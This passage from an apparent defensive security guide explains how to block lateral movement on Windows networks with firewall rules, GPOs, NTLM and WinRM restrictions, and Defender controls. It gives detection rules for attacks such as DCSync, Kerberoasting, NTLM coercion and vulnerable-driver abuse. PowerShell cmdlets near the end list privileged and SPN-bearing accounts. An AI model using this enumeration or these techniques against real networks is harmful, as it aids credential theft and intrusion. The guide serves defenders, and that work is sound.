Once initial access to on-premises infrastructure is established, threat actors will conduct lateral movement to attempt to further expand the scope of access and persistence. To protect Windows endpoints from being accessed using common lateral movement techniques, a Windows Firewall policy can be configured to restrict the scope of communications permitted between endpoints within an environment. A Windows Firewall policy can be enforced locally or centrally as part of a Group Policy Object (GPO) configuration. At a minimum, the common ports and protocols leveraged for lateral movement that should be blocked between workstation-to-workstation and workstations to non-domain controllers and non-file servers include:

  • SMB (TCP/445, TCP/135, TCP/139)

  • Remote Desktop Protocol (TCP/3389)

  • Windows Remote Management (WinRM)/Remote PowerShell (TCP/80, TCP/5985, TCP/5986)

  • Windows Management Instrumentation (WMI) (dynamic port range assigned through Distributed Component Object Model (DCOM))

Using a GPO (Figure 5), the settings listed in Table 11 can be configured for the Windows Firewall to control inbound communications to endpoints in a managed environment. The referenced settings will effectively block all inbound connections for the Private and Public profiles, and for the Domain profile, only allow connections that do not match a predefined block rule.

Computer Configuration > Policies > Windows Settings > Security Settings > Windows Firewall with Advanced Security

Figure 5: GPO path for creating Windows Firewall rules

Profile Setting

Firewall State

Inbound Connections

Log Dropped Packets

Log Successful Connections

Log File Path

Log File Maximum Size (KB)

Domain

On

Allow

Yes

Yes

%systemroot%\system32\LogFiles\Firewall\pfirewall.log

4,096

Private

On

Block All Connections

Yes

Yes

%systemroot%\system32\LogFiles\Firewall\pfirewall.log

4,096

Public

On

Block All Connections

Yes

Yes

%systemroot%\system32\LogFiles\Firewall\pfirewall.log

4,096

Table 11: Windows Firewall recommended configuration state
Windows Firewall Recommendation Configurations

Figure 6: Windows Firewall recommendation configurations

Additionally, to ensure that only centrally managed firewall rules are enforced (and cannot be overridden by a threat actor), the settings for Apply local firewall rules and Apply local connection security rules can be set to No for all profiles.

Windows Firewall Domain Profile Customized Settings

Figure 7: Windows Firewall domain profile customized settings

To quickly contain and isolate systems, the centralized Windows Firewall setting of Block all connections (Figure 8) will prevent any inbound connections from being established to a system. This is a setting that can be enforced on workstations and laptops, but will likely impact operations if enforced for servers, although if there is evidence of an active threat actor lateral pivoting within an environment, it may be a necessary step for rapid containment.

Note: If this control is being used temporarily to facilitate containment as part of an active incident, once the incident has been contained and it has been deemed safe to re-establish connectivity among systems within an environment, the Inbound Connections setting can be changed back to Allow using a GPO.

Windows Firewall - Block All Connections Settings

Figure 8: Windows Firewall - Block All Connections settings

If blocking all inbound connectivity for endpoints during a containment event is not practical, or for the Domain profile configurations, at a minimum, the protocols listed in Table 12 should be enforced using either a GPO or via the commands referenced within the table.

For any specific applications that may require inbound connectivity to end-user endpoints, the local firewall policy should be configured with specific IP address exceptions for origination systems that are authorized to initiate inbound connections to such devices.

Protocol/Port

Windows Firewall Rule

Command Line Enforcement

SMB

TCP/445, TCP/139, TCP/135

Predefined Rule Name:

  • File and Print Sharing

  • Remote Desktop

  • Windows Management Instrumentation (WMI)

  • Windows Remote Management

  • Windows Remote Management (Compatibility)

  • TCP/5986

netsh advfirewall firewall set rule group="File and Printer Sharing" new enable=no

Remote Desktop Protocol

TCP/3389

Predefined Rule Name:

netsh advfirewall firewall set rule group="Remote Desktop" new enable=no

WMI

Predefined Rule Name:

netsh advfirewall firewall set rule group="windows management instrumentation (wmi)" new enable=no

Windows Remote Management/PowerShell Remoting

TCP/80, TCP/5985, TCP/5986

Predefined Rule Name:

netsh advfirewall firewall set rule group="Windows Remote Management" new enable=no

Via PowerShell:

Disable-PSRemoting -Force

Table 12: Windows Firewall suggested block rules

Windows Firewall Suggested Rule Blocks via Group Policy

Figure 9: Windows Firewall suggested rule blocks via Group Policy

NTLM Authentication Configurations

Threat actors often attempt to harvest credentials (including Windows NTLMv1 hashes) based upon outbound SMB or WebDAV communications. Organizations should review NTLM settings for Windows-based endpoints, and work to harden, disable, or restrict NTLMv1 authentication requests. 

To fully restrict NTLM authentication to remote servers, the following GPO settings can be leveraged:

  • Computer Configuration > Windows Settings > Security Settings > Local Policies > Security Options > Network Security: Restrict NTLM: Outgoing NTLM traffic to remote servers 

    • Allow all

    • Audit all

    • Deny all

Note: If "Deny all" is selected, the client computer cannot authenticate (send credentials) to a remote server using NTLM authentication. Before setting to "Deny all," organizations should configure the GPO setting with the "Audit all" enforcement. With this configuration, audit and block events will be recorded within the Operational event log on endpoints (Applications and Services Log\Microsoft\Windows\NTLM).

If any recorded NTLM authentication events are required, organizations can configure the "Network security: Restrict NTLM: Add remote server exceptions for NTLM authentication" setting to define a listing of remote servers, which are required to use NTLM authentication.

Detection Opportunities for SMB, WMI, and NTLM Communications

Use Case

MITRE ID

Description

High Volume of SMB Connections

T1021.002 – SMB/Windows Admin Shares

Search for a sharp increase in SMB connections that fall outside of a normal pattern.

Outbound Connection Attempted Over SMB

T1212 – Exploitation for Credential Access

Search for external connection attempts over SMB, as this may be an attempt to harvest credential hashes.

WMI Being Used to Call a Remote Service

T1047 – Windows Management Instrumentation

Search for WMI being used via a command line or PowerShell to call a remote service for execution.

WMI Being Used for Ingress Tool Transfer

T1105 – Ingress Tool Transfer

Search for suspicious usage of WMI to download external resources. 

Forced NTLM Authentication Using SMB or WebDAV

T1187 – Forced Authentication

Search for potential NTLM authentication attempts using SMB or WebDAV.

NTLM Relay via Coercion

T1187 - Forced Authentication

Monitor for NTLM authentication attempts from Domain Controllers or privileged servers to unexpected destinations, particularly to HTTP endpoints (AD CS web enrollment). 

Detect PetitPotam by monitoring for EfsRpcOpenFileRaw calls, DFSCoerce via DFS-related named pipe access, and PrinterBug via SpoolService RPC calls.

Table 13: Detection opportunities for SMB, WMI, and NTLM communications

Remote Desktop Protocol Hardening

Remote Desktop Protocol (RDP) is a common method used by threat actors to remotely connect to systems, laterally move from the perimeter onto a larger scope of internal systems, and perform malicious activities (such as data theft or ransomware deployment). External-facing systems with RDP open to the internet present an elevated risk. Threat actors may exploit this vector to gain initial access to an organization and then perform lateral movement into the organization to complete their mission objectives.

Proactively, organizations should scan their public IP address ranges to identify systems with RDP (TCP/3389) and other protocols (SMB – TCP/445) open to the internet. At a minimum, RDP and SMB should not be directly exposed for ingress and egress access to/from the internet. If required for operational purposes, explicit controls should be implemented to restrict the source IP addresses, which can interface with systems using these protocols. The following hardening recommendations should also be implemented.

Enforce Multi-Factor Authentication

If external-facing RDP must be used for operational purposes, MFA should be enforced when connecting using this method. This can be accomplished either via the integration of a third-party MFA technology or by leveraging a Remote Desktop Gateway and Azure Multifactor Authentication Server using Remote Authentication Dial-In User Service (RADIUS).

Leverage Network-Level Authentication

For external-facing RDP servers, Network-Level Authentication (NLA) provides an extra layer of preauthentication before a connection is established. NLA can also be useful for protecting against brute-force attacks, which often target open internet-facing RDP servers.

NLA can be configured either via the user interface (UI) (Figure 10) or via Group Policy (Figure 11).

Enabling NLA via the UI

Figure 10: Enabling NLA via the UI

Using a GPO, the setting for NLA can be configured via:

  • Computer Configuration > Policies > Administrative Templates > Windows Components > Remote Desktop Services > Remote Desktop Session Host > Security > Require user authentication for remote connections by using Network Level Authentication

    • Enabled

Enabling NLA via Group Policy

Figure 11: Enabling NLA via Group Policy

Some caveats about leveraging NLA for RDP:

  • The Remote Desktop client v7.0 (or greater) must be leveraged.

  • NLA uses CredSSP to pass authentication requests on the initiating system. CredSSP stores credentials in Local Security Authority (LSA) memory on the initiating system, and these credentials may remain in memory even after a user logs off the system. This provides a potential exposure risk for credentials in memory on the source system.

  • On the RDP server, users permitted for remote access using RDP must be assigned the Access this computer from the network privilege when NLA is enforced. This privilege is often explicitly denied for user accounts to protect against lateral movement techniques.

Restrict Administrative Accounts from Leveraging RDP on Internet-Facing Systems

For external-facing RDP servers, highly privileged domain and local administrative accounts should not be permitted access to authenticate with the external-facing systems using RDP (Figure 12). 

This can be enforced using Group Policy, configurable via the following path: 

  • Computer Configuration > Policies > Windows Settings > Security Settings > Local Policies > User Rights Assignment > Deny log on through Terminal Services

Group Policy configuration for restricting highly privileged domain and local administrative accounts from leveraging RDP

Figure 12: Group Policy configuration for restricting highly privileged domain and local administrative accounts from leveraging RDP

Detection Opportunities for RDP Usage

Use Case

MITRE ID

Description

RDP Authentication Integration 

T1110 – Brute Force

T1078 – Valid Accounts

T1021.001 – Remote Desktop Protocol

Existing authentication rules should include RDP attempts. This includes use cases for:

  • Brute Force

  • Password Spraying

  • MFA Failures Single User

  • MFA Failures Single Source

  • External Authentication from an Account with Elevated Privileges

Anomalous Connection Attempts over RDP

T1078 – Valid Accounts

T1021.001 – Remote Desktop Protocol

Searching for anomalous RDP connection attempts over known RDP ports such as TCP/3389.

Table 14: Detection Opportunities for RDP Usage

Disabling Administrative/Hidden Shares

To conduct lateral movement, threat actors may attempt to identify administrative or hidden network shares, including those that are not explicitly mapped to a drive letter and use these for remotely binding to endpoints throughout an environment. As a protective or rapid containment measure, organizations may need to quickly disable default administrative or hidden shares from being accessible on endpoints. This can be accomplished by either modifying the registry, stopping a service, or by using the MSS (Legacy) Group Policy template.

Common administrative and hidden shares on endpoints include:

  • ADMIN$
  • C$
  • D$
  • IPC$

Note: Disabling administrative and hidden shares on servers, specifically including domain controllers, may significantly impact the operation and functionality of systems within a domain-based environment.

Additionally, if PsExec is used in an environment, disabling the admin (ADMIN$) share can restrict the capability for this tool to be used to remotely interface with endpoints.
Registry Method

Using the registry, administrative and hidden shares can be disabled on endpoints (Figure 13 and Figure 14).

Workstations
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters
DWORD Name = "AutoShareWks"
Value = "0"

Figure 13: Registry value disabling administrative shares on workstations

Servers
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters
DWORD Name = "AutoShareServer"
Value = "0"

Figure 14: Registry value disabling administrative shares on servers

Service Method

By stopping the Server service on an endpoint, the ability to access any shares hosted on the endpoint will be disabled (Figure 15).

Server service properties

Figure 15: Server service properties

Group Policy Method

Using the MSS (Legacy) Group Policy template, administrative and hidden shares can be disabled on either a server or workstation via a GPO setting (Figure 16).

  • Computer Configuration > Policies > Administrative Templates > MSS (Legacy) > MSS (AutoShareServer)

    • Disabled

  • Computer Configuration > Policies > Administrative Templates > MSS (Legacy) > MSS (AutoShareWks)

    • Disabled

Disabling Administrative And Hidden Shares via the MSS (Legacy) Group Policy Template

Figure 16: Disabling administrative and hidden shares via the MSS (Legacy) Group Policy template

Detection Opportunities for Accessing Administrative or Hidden Shares

Use Case

MITRE ID

Description

Network Discovery: Suspicious Usage of the Net Command

T1049 - System Network Connections Discovery

T1135 - Network Share Discovery

Search for suspicious use of the net command to enumerate systems and file shares within an environment.

Table 15: Detection opportunities for accessing administrative or hidden shares

Hardening Windows Remote Management

Threat actors may leverage Windows Remote Management (WinRM) to laterally move throughout an environment. WinRM is enabled by default on all Windows Server operating systems (since Windows Server 2012 and above), but disabled on all client operating systems (Windows 7 and Windows 10) and older server platforms (Windows Server 2008 R2).

PowerShell remoting (PS remoting) is a native Windows remote command execution feature that is built on top of the WinRM protocol.

Windows client (nonserver) operating system platforms where WinRM is disabled indicates that there is:

  • No WinRM listener configured

  • No Windows firewall exception configured

By default, WinRM uses TCP/5985 and TCP/5986, which can be either disabled using the Windows Firewall or configured so that a specific subset of IP addresses can be authorized for connecting to endpoints using WinRM.

WinRM and PowerShell remoting can be explicitly disabled on endpoint using either a PowerShell command (Figure 17) or specific GPO settings.

PowerShell
Disable-PSRemoting -Force

Figure 17: PowerShell command to disable WinRM/PowerShell remoting on an endpoint

Note: Running Disable-PSRemoting -Force does not prevent local users from creating PowerShell sessions on the local computer or for sessions destined for remote computers.

After running the command, the message recorded in Figure 18 will be displayed. These steps provide additional hardening, but after running the Disable-PSRemoting -Force command, PowerShell sessions destined for the target endpoint will not be successful.

Warning message after disabling PSRemoting

Figure 18: Warning message after disabling PSRemoting

To enforce the additional steps for disabling WinRM via PowerShell (Figure 19 through Figure 22):

  1. Stop and disable the WinRM service.

    Stop-Service WinRM -PassThruSet-Service WinRM -StartupType Disabled

    Figure 19: PowerShell command to stop and disable the WinRM service


  2. Disable the listener that accepts requests on any IP address.

    dir wsman:\localhost\listener
    
    Remove-Item -Path WSMan:\Localhost\listener\<Listener name>

    Figure 20: PowerShell commands to delete a WSMan listener


  3. Disable the firewall exceptions for WS-Management communications.

    Set-NetFirewallRule -DisplayName 'Windows Remote Management (HTTP-In)' -Enabled False 

    Figure 21: PowerShell command to disable firewall exceptions for WinRM


  4. Restore the value of the LocalAccountTokenFilterPolicy to 0, which restricts remote access to members of the Administrators group on the computer.

    Set-ItemProperty -Path HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system -Name LocalAccountTokenFilterPolicy -Value 0

    Figure 22: PowerShell command to configure the registry key for LocalAccountTokenFilterPolicy

Group Policy
  • Computer Configuration > Policies > Administrative Templates > Windows Components > Windows Remote Management (WinRM) > WinRM Service > Allow remote server management through WinRM

    • Disabled

If this setting is configured as Disabled, the WinRM service will not respond to requests from a remote computer, regardless of whether any WinRM listeners are configured.

  • Computer Configuration > Policies > Administrative Templates > Windows Components > Windows Remote Shell > Allow Remote Shell Access 

    • Disabled

This policy setting will manage the configuration of remote access to all supported shells to execute scripts and commands.

Detection Opportunities for WinRM Usage

Use Case

MITRE ID

Description

Unauthorized WinRM Execution Attempt

T1021.006 - Remote Services: Windows Remote Management

Search for command execution attempts for WinRM on a system where WinRM has been disabled.

Suspicious Process Creation Using WinRM

T1021.006 - Remote Services: Windows Remote Management

Search for anomalous process creation events using WinRM that deviate from an established baseline.

Suspicious Network Connection Using WinRM

T1021.006 - Remote Services: Windows Remote Management

Search for network activity over known WinRM ports, such as TCP/5985 and TCP/5986, to identify anomalous connections that deviate from an established baseline.

Remote WMI Connection Using WinRM

T1021.006 - Remote Services: Windows Remote Management

Search for remote WMI connection attempts using WinRM. 

Table 16: Detection opportunities for WinRM use

Restricting Common Lateral Movement Tools and Methods

Table 17 provides a consolidated summary of security configurations that can be leveraged to combat against common remote access tools and methods used for lateral movement within environments.

Tool/Tactic

Mitigating Security Configurations (Target Endpoints)

PsExec (using the current logged-on user account, without the -u switch)

If the -u switch is not leveraged, authentication will use Kerberos or NTLM for the current logged-on user of the source endpoint and will register as a Type 3 (network) logon on the destination endpoint.

PsExec high-level functionality:

  • Connects to the hidden ADMIN$ share (mapping to the C:\Windows folder) on a remote endpoint via SMB (TCP/445).

  • Uses the Service Control Manager (SCM) to start the PSExecsvc service and enable a named pipe on a remote endpoint.

  • Input/output redirection for the console is achieved via the created named pipe.

Option 1:

GPO configuration:

  • Computer Configuration > Policies > Windows Settings > Security Settings > Local Policies > User Rights Assignment

  • Deny access to this computer from the network

  • Deny access to this computer from the network

  • Deny log on locally

  • Deny log on through Terminal Services

  • DCOM:Machine Launch Restrictions in Security Descriptor Definition Language (SDDL) Syntax

  • Computer Configuration > Policies > Windows Settings > Local Policies > Security Options

  • DCOM:Machine Access Restrictions in Security Descriptor Definition Language (SDDL) Syntax

  • Deny access to this computer from the network

Option 2: 

Windows Firewall rule:

netsh advfirewall firewall set rule group="File and Printer Sharing" new enable=no

Figure 23: PowerShell command to disable inbound file and print sharing (SMB) for an endpoint using a local Windows Firewall rule

Option 3:

Disable administrative and hidden shares.

PsExec (with Alternative Credentials, via the -u switch)

If the -u switch is leveraged, authentication will use the alternate supplied credentials and will register as a Type 3 (network) and Type 2 (interactive) logon on the destination endpoint.

Option 1:

GPO configuration:

  • Computer Configuration > Policies > Windows Settings > Security Settings > Local Policies > User Rights Assignment

Option 2:

Windows Firewall rule:

netsh advfirewall firewall set rule group="File and Printer Sharing" new enable=no

Figure 24: PowerShell command to disable inbound file and print sharing (SMB) for an endpoint using a local Windows Firewall rule

Remote Desktop Protocol (RDP)

Option 1:

GPO configuration:

  • Computer Configuration > Policies > Windows Settings > Security Settings > Local Policies > User Rights Assignment

Option 2:

Windows Firewall rule:

netsh advfirewall firewall set rule group="Remote Desktop" new enable=no

Figure 25: PowerShell command to disable inbound Remote Desktop (RDP) for an endpoint using a local Windows Firewall rule

PS remoting and WinRM

Option 1:

PowerShell command:

Disable-PSRemoting -Force

Figure 26: PowerShell command to disable PowerShell remoting for an endpoint

Option 2:

GPO configuration:

  • Computer Configuration > Policies > Administrative Templates > Windows Components > Windows Remote Management (WinRM) > WinRM Service > Allow remote server management through WinRM

Option 3:

Windows Firewall rule:

netsh advfirewall firewall set rule group="Windows Remote Management" new enable=no

Figure 27: PowerShell command to disable inbound WinRM for an endpoint using a local Windows Firewall rule

Distributed Component Object Model (DCOM)

Option 1:

GPO configuration:

  • Computer Configuration > Policies > Windows Settings > Local Policies > Security Options

Both of these settings allow an organization to define additional computer-wide controls that govern access to all DCOM–based applications on an endpoint.

When users or groups that are provided permissions are specified, the security descriptor field is populated with the SDDL representation of those groups and privileges.

Users and groups can be given explicit Allow or Deny privileges for both local and remote access using DCOM.

Option 2:

Windows Firewall rules:

netsh advfirewall firewall set rule group="COM+ Network Access" new enable=no

netsh advfirewall firewall set rule group="COM+ Remote Administration" new enable=no

Figure 28: PowerShell commands to disable inbound DCOM for an endpoint using a local Windows Firewall rule

Third-party remote access applications (e.g., VNC/DameWare/ScreenConnect) that rely upon specific interactive and remote logon permissions being configured on an endpoint.

GPO configuration:

  • Computer Configuration > Policies > Windows Settings > Security Settings > Local Policies > User Rights Assignment

Table 17: Common lateral movement tools/methods and mitigating security controls

Detection Opportunities for Common Lateral Movement Tools and Methods

Use Case

MITRE

Description

Anomalous PsExec Usage

T1569.002 – System Services: Service Execution

T1021.002 – Remote Services: SMB/Windows Admin Shares

T1570 – Lateral Tool Transfer

Search for attempted execution of PsExec on systems where PsExec is disabled or where it deviates from normal activity.

Process Creation Event Involving a COM Object by Different User

T1021.003 – Remote Services: Distributed Component Object Model

T1078 – Valid Accounts

Search for process creation events including COM objects that are initiated by an account that is not currently the logged-in user for the system.

High Volume of DCOM-Related Activity

T1021.003 – Remote Services: Distributed Component Object Model

Search for a sharp increase in volume of DCOM-related activity. 

Third-Party Remote Access Applications

T1219 – Remote Access Software

Search for anomalous use of third-party remote access applications. This type of activity could indicate a threat actor is attempting to use third-party remote access applications as an alternate communication channel or for creating remote interactive sessions.

BYOVD - EDR/AV Tampering via Vulnerable Drivers

T1068 - Exploitation for Privilege Escalation

T1562.001 - Impair Defenses

Monitor for kernel driver installations (Sysmon Event ID 6) where the loaded driver hash matches known vulnerable drivers from the LOLDrivers project.

Alert on new service creation (Event ID 7045) loading .sys files from user-writable paths (e.g., %TEMP%, %APPDATA%). 

RMM Tool Abuse for Lateral Movement

T1219 - Remote Access Tools

Monitor for installation or execution of legitimate RMM tools (ScreenConnect/ConnectWise, AnyDesk, Atera, Splashtop, TeamViewer) that are not part of the organization's approved toolset.

Monitor for new service installations matching known RMM tool signatures.

Table 18: Detection opportunities for common lateral movement tools and methods

Additional Endpoint Hardening

To help protect against malicious binaries, malware, and encryptors being invoked on endpoints, additional security hardening technologies and controls should be considered. Examples of additional security controls for consideration for Windows-based endpoints are provided as follows.

Windows Defender Application Control

Windows Defender Application Control is a set of inherent configuration settings within Active Directory that provide lockdown and control mechanisms for controlling which applications and files users can run on endpoints. With this functionality, the following types of rules can be configured within GPOs:

  • Publisher rules: Can be leveraged to allow or restrict execution of files based upon digital signatures and other attributes

  • Path rules: Can be leveraged to allow or restrict file execution or access based upon files residing in specific path

  • File hash rules: Can be leveraged to allow or restrict file execution based on a file's hash

Additional information related to Windows Defender Application Control.

Microsoft Defender Attack Surface Reduction

Microsoft Defender Attack Surface Reduction (ASR) rules can help protect against various threats, including:

  • A threat actor launching executable files and scripts that attempt to download or run files

  • A threat actor running obfuscated or suspicious scripts

  • A threat actor invoking credential theft tools that interface with Local Security Authority Subsystem Service (LSASS)

  • A threat actor invoking PsExec or WMI commands

  • Normalizing and blocking behaviors that applications do not usually initiate as part of standardized activity

  • Blocking executable content from email clients and web mail (phishing)

ASR requires a Windows E3 license or above. A Windows E5 license provides advanced management capabilities for ASR.

Additional information related to Microsoft Defender Attack Surface Reduction functionality.

Controlled Folder Access

Controlled folder access can help protect data from being encrypted by ransomware. Beginning with Windows 10 version 1709+ and Windows Server 2019+, controlled folder access was introduced within Windows Defender Antivirus (as part of Windows Defender Exploit Guard). 

Once controlled folder access is enabled, applications and executable files are assessed by Windows Defender Antivirus, which then determines if an application is malicious or safe. If an application is determined to be malicious or suspicious, it will be blocked from making changes to any files in a protected folder.

Once enabled, controlled folder access will apply to a number of system folders and default locations, including:

  • Documents
    • C:\users\<username>\Documents
    • C:\users\Public\Documents
  • Pictures
    • C:\users\<username>\Pictures
    • C:\users\Public\Pictures
  • Videos
    • C:\users\<username>\Videos
    • C:\users\Public\Videos
  • Music
    • C:\users\<username>\Music
    • C:\users\Public\Music
  • Desktop
    • C:\users\<username>\Desktop
    • C:\users\Public\Desktop
  • Favorites
    • C:\users\<username>\Favorites

Additional folders can be added using the Windows Security application, Group Policy, PowerShell, or mobile device management (MDM) configuration service providers (CSPs). Additionally, applications can be allow-listed for access to protected folders.

Note: For controlled folder access to fully function, Windows Defender's Real Time Protection setting must be enabled.

Additional information related to controlled folder access.

Tamper Protection

Threat actors will often attempt to disable security features on endpoints. Tamper protection either in Windows (via Microsoft Defender for Endpoint) or integrated within third-party AV/EDR platforms can help protect security tools from being modified or stopped by a threat actor. Organizations should review the configuration of security technologies that are deployed to endpoints and verify if tamper protection is (or can be) enabled to protect against unauthorized modification. Once implemented, organizations should test and validate that the tamper protection controls behave as expected as different products offer different levels of protection.

Additional information related to tamper protection for Windows Defender for Endpoint.

Detection Opportunities for Tamper Protection Events

Use Case

MITRE

Description

Threat Actor Attempting to Disable Security Tooling on an Endpoint

T1562.001 - Disable or Modify Tools

Monitor for evidence of processes or command-line arguments correlating to security tools/services being stopped.

Table 19: Detection opportunities for tamper protection events

4. Credential Exposure and Account Protections

Identification of Privileged Accounts and Groups

Threat actors will prioritize identifying privileged accounts as part of reconnaissance efforts. Once identified, threat actors will attempt to obtain credentials for these accounts for lateral movement, persistence, and mission fulfillment.

Organizations should proactively focus on identifying and reviewing the scope of accounts and groups within Active Directory that have an elevated level of privilege. An elevated level of privilege can be determined by the following criteria:

  • Accounts or nested groups that are assigned membership into default domain and Exchange-based privileged groups (Figure 29)

  • Accounts or nested groups that are assigned membership into security groups protected by AdminSDHolder

  • Accounts or groups assigned permissions for organizational units (OUs) housing privileged accounts, groups, or endpoints

  • Accounts or groups assigned specific extended right permissions either directly at the root of the domain or for OUs where permissions are inherited by child objects. Examples include:

    • DS-Replication-Get-Changes-All
    • Administer Exchange Information Store
    • View Exchange Information Store Status
    • Create-Inbound-Forest-Trust
    • Migrate-SID-History
    • Reanimate-Tombstones
    • View Exchange Information Store Status
    • User-Force-Change-Password
  • Accounts or groups assigned permissions for modifying or linking GPOs

  • Accounts or groups assigned explicit permissions on domain controllers or Tier 0 endpoints

  • Accounts or groups assigned directory service replication permissions

  • Accounts or groups with local administrative access on all endpoints (or a large scope of critical assets) in a domain

To identify accounts that are provided membership into default domain-based privileged groups or are protected by AdminSDHolder, the following PowerShell cmdlets can be run from a domain controller.

get-ADGroupMember -Identity "Domain Admins" -Recursive | export-csv -path <output directory>\DomainAdmins.csv -NoTypeInformation 

get-ADGroupMember -Identity "Enterprise Admins" -Recursive | export-csv -path <output directory>\EnterpriseAdmins.csv -NoTypeInformation 

get-ADGroupMember -Identity "Schema Admins" -Recursive | export-csv -path <output directory>\SchemaAdmins.csv -NoTypeInformation

get-ADGroupMember -Identity "Administrators" -Recursive | export-csv -path <output directory>\Administrators.csv -NoTypeInformation 

get-ADGroupMember -Identity "Account Operators" -Recursive | export-csv -path <output directory>\AccountOperators.csv -NoTypeInformation 

get-ADGroupMember -Identity "Backup Operators" -Recursive | export-csv -path <output directory>\BackupOperators.csv -NoTypeInformation 

get-ADGroupMember -Identity "Cert Publishers" -Recursive | export-csv -path <output directory>\CertPublishers.csv -NoTypeInformation 

get-ADGroupMember -Identity "Print Operators" -Recursive | export-csv -path <output directory>\PrintOperators.csv -NoTypeInformation 

get-ADGroupMember -Identity "Server Operators" -Recursive | export-csv -path <output directory>\ServerOperators.csv -NoTypeInformation 

get-ADGroupMember -Identity "DNSAdmins" -Recursive | export-csv -path <output directory>\DNSAdmins.csv -NoTypeInformation 

get-ADGroupMember -Identity "Group Policy Creator Owners" -Recursive | export-csv -path <output directory>\Group-Policy-Creator-Owners.csv -NoTypeInformation 

get-ADGroupMember -Identity "Exchange Trusted Subsystem" -Recursive | export-csv -path <output directory>\Exchange-Trusted-Subsystem.csv -NoTypeInformation

get-ADGroupMember -Identity "Exchange Windows Permissions" -Recursive | export-csv -path <output directory>\Exchange-Windows-Permissions.csv -NoTypeInformation 

get-ADGroupMember -Identity "Exchange Recipient Administrators" -Recursive | export-csv -path <output directory>\Exchange-Recipient-Admins.csv -NoTypeInformation 

get-ADUser -Filter {(AdminCount -eq 1) -And (Enabled -eq $True)} | Select-Object Name, DistinguishedName | export-csv -path <output directory>\AdminSDHolder_Enabled.csv

Figure 29: Commands to identify domain and exchange-based privileged accounts

Any privileged accounts granted membership into additional security groups can provide a threat actor with a potential path to domain administration-level permissions based upon endpoints where the accounts have permissions to log on or remotely access systems.

Ideally, only a small scope of accounts should be provided with highly privileged access within a domain. Accounts with highly privileged permissions should not be leveraged for daily use; used for interactive or remote logons to workstations, laptops, or common servers; or used for performing functions on non-domain controller (Tier 0) assets.For additional recommendations for restricting access for privileged accounts, reference the Privileged Account Logon Restrictions section of this blog post.

Detection Opportunities for Privileged Accounts, Groups, and GPO Modifications

Use Case

MITRE

Description

Interactive or Remote Logon of a Highly Privileged Account to an Unauthorized System

T1078 – Valid Accounts

Search for logon attempts correlating to highly privileged accounts authenticating to systems that reside outside of the Tier 0 layer.

Privileged Account and Group Discovery

T1069 – Permission Groups Discovery

T1078 – Valid Accounts

Search for command-line events where a user is attempting to enumerate privileged accounts and groups.

Account Added to Highly Privileged Group

T1078 – Valid Accounts

T1098 – Account Manipulation

Identify when accounts are added to highly privileged groups. While this can occur as part of normal activity, it should be infrequent and limited to specific accounts.

Modification of Group Policy Objects

T1484.001 – Domain Policy Modification: Group Policy Modification

Identify when GPOs are created or modified.

GPOs can also be exported and reviewed to identify last modification timestamps.

get-gpo -all | export-csv -path "c:\temp\gpo-listing-all.csv" -NoTypeInformation

Figure 30: PowerShell cmdlet to export and review GPO creation and modification timestamps

DCSync Attack

T1003.006 - OS Credential Dumping

Monitor for non-domain-controller sources issuing directory replication requests (DS-Replication-Get-Changes and DS-Replication-Get-Changes-All). 

Event ID 4662 with properties matching the replication GUIDs (1131f6aa-*, 1131f6ad-*) from non-domain-controller source addresses is a high-fidelity indicator of DCSync.

Table 20: Detection opportunities for privileged accounts, groups, and GPO modifications

Privileged and Service Account Protections

Identify and Review Noncomputer Accounts Configured with an SPN

Accounts with service principal names (SPNs) are commonly targeted by threat actors for privilege escalation. Using Kerberos, any domain user can request a Kerberos service ticket (TGS) from a domain controller for any account configured with an SPN. Noncomputer accounts likely are configured with guessable (nonrandom) passwords. Regardless of the domain function level or the host's Windows version, SPNs that are registered under a noncomputer account will use the legacy RC4-HMAC encryption suite rather than Advanced Encryption Standard (AES). The key used for encryption and decryption of the RC4-HMAC encryption type represents an unsalted NTLM hash version of the account's password, which could be derived via cracking the ticket.

Organizations should review Active Directory to identify noncomputer accounts configured with an SPN. Noncomputer accounts correlated to registered SPNs are likely service accounts and provide a method for a threat actor (without administrative privileges) to potentially derive (crack) the plain-text password for the account (Kerberoasting). To identify noncomputer accounts configured with an SPN, the PowerShell cmdlet referenced in Figure 31 can be run from a domain controller.

Get-ADUser -Filter {(ServicePrincipalName -like "*")} | Select-Object name,samaccountname,sid,enabled,DistinguishedName

Figure 31: PowerShell cmdlet to identify noncomputer accounts configured with an SPN

Where possible, organizations should deregister noncomputer accounts with SPNs configured. Where SPNs are needed, organizations should mitigate the risk associated with Kerberoasting attacks. Accounts with SPNs should be configured with strong, unique passwords (e.g., minimum 25+ characters) with the passwords rotated on a periodic basis for the accounts. Furthermore, privileges should be reviewed and reduced for these accounts to ensure that each account has the minimum required privileges needed for the intended function.

Accounts with SPNs should be considered in-scope for the proactive hardening measures detailed throughout this blog post.

Note: SPNs should never be associated with regular interactive user accounts.

Detection Opportunities for Noncomputer Accounts Configured with an SPN

Use Case

MITRE ID

Description

Potential Kerberoasting Attempt Using RC4

T1558.003 – Steal or Forge Kerberos Tickets: Kerberoasting

Searching for a Kerberos request using downgraded RC4 encryption.

AS-REP Roasting

T1558.004 - Steal or Forge Kerberos Tickets

Monitor Event ID 4768 for Kerberos authentication requests using RC4 encryption (0x17) for accounts with the "Do not require Kerberos preauthentication" flag set. Unlike Kerberoasting (which targets SPNs), AS-REP Roasting targets accounts with disabled preauthentication (which should be reviewed and mitigated).

Table 21: Detection opportunities for noncomputer accounts configured with an SPN

Privileged Account Logon Restrictions

Privileged and service account credentials are commonly used for lateral movement and establishing persistence.

For any accounts that have privileged access throughout an environment, the accounts should not be used on standard workstations and laptops, but rather from designated systems (e.g., privileged access workstations [PAWs]) that reside in restricted and protected VLANs and tiers. Dedicated privileged accounts should be defined for each tier, with controls that enforce that the accounts can only be used within the designated tier. Guardrail enforcement for privileged accounts can be defined within GPOs or by using authentication policy silos (Windows Server 2012 R2 domain-functional level or above).

The recommendations for restricting the scope of access for privileged accounts are based upon Microsoft's guidance for securing privileged access. For additional information, reference:

User Rights Assignments

As a proactive hardening or quick containment measure, consider blocking any accounts with privileged AD access from being able to log in (remotely or locally) to standard workstations, laptops, and common access servers (e.g., virtualized desktop infrastructure).

The settings referenced as follows are configurable using user rights assignments defined within GPOs via the path of: 

  • Computer Configuration > Policies > Windows Settings > Security Settings > Local Policies > User Rights Assignment

